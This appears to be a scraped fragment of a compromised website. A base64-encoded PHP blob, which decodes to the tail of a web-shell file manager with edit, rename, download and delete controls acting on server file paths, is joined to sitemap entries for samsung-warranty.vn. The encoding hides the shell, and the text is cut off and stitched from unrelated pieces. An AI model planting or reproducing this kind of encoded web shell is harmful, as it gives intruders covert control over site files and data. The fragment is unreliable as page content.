IikpIGVjaG8gJzxncj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8cmQ+JzsKZWNobyBwKCIkcGF0aC8kZmlsZSIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZ3I+PC9yZD48L3RkPic7CmVjaG8gIgoJPHRkIGNsYXNzPVwidGV4dC1jZW50ZXJcIj4KCQk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJCTxkaXYgY2xhc3M9XCJidG4tZ3JvdXBcIj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZWRpdFwiPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9idXR0b24+CgkJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZG93bmxvYWRcIj48aSBjbGFzcz0nYmkgYmktZG93bmxvYWQnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiaGFwdXNcIj48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYnV0dG9uPgoJCQk8L2Rpdj4KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgoJCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKCX0KfQo/Pgo8L3Rib2R5Pgo8L3RhYmxlPgo8ZGl2IGNsYXNzPSd0ZXh0LXNlY29uZGFyeSc+JmNvcHk7IDw/cGhwIGVjaG8gIiAiLmRhdGUoJ1knKS4iICRfbiI7Pz48L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K')); } }); https://samsung-warranty.vn/post-sitemap.xml 2026-09-02T17:27:31+00:00 https://samsung-warranty.vn/page-sitemap.xml 2025-08-01T04:55:51+00:00